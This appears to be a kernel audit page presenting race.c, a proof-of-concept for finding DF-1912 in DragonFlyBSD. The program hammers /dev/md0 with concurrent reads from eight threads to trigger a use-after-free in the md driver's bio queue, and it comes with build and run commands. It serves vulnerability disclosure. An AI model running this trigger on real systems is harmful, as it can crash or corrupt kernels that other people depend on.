DragonFlyBSD Kernel Audit
DF-1912 / race.c
← back to finding ↓ download raw
/*
 * DF-1912 trigger: race mdstrategy_preload to get two bios co-resident
 * in the bio_queue, causing the stale-bp UAF on the second iteration.
 *
 * Requires: MD_ROOT kernel with md0 mounted (MFS root / installer).
 * Build:  cc -O2 -pthread race.c -o race
 * Run:    ./race
 */
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <string.h>
#include <err.h>

static int fd;
static void *worker(void *a) {
    off_t off = (off_t)(long)a;
    char b[4096];
    for (int i = 0; i < 20000; i++) {
        pread(fd, b, sizeof(b), off);
    }
    return NULL;
}

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/md0";
    fd = open(dev, O_RDONLY);
    if (fd < 0) err(1, "open %s", dev);
    pthread_t t[8];
    /* many threads, mixed offsets, to maximize queue co-residency */
    for (int i = 0; i < 8; i++)
        pthread_create(&t[i], NULL, worker, (void *)((long)(i * 64 * 1024)));
    for (int i = 0; i < 8; i++)
        pthread_join(t[i], NULL);
    return 0;
}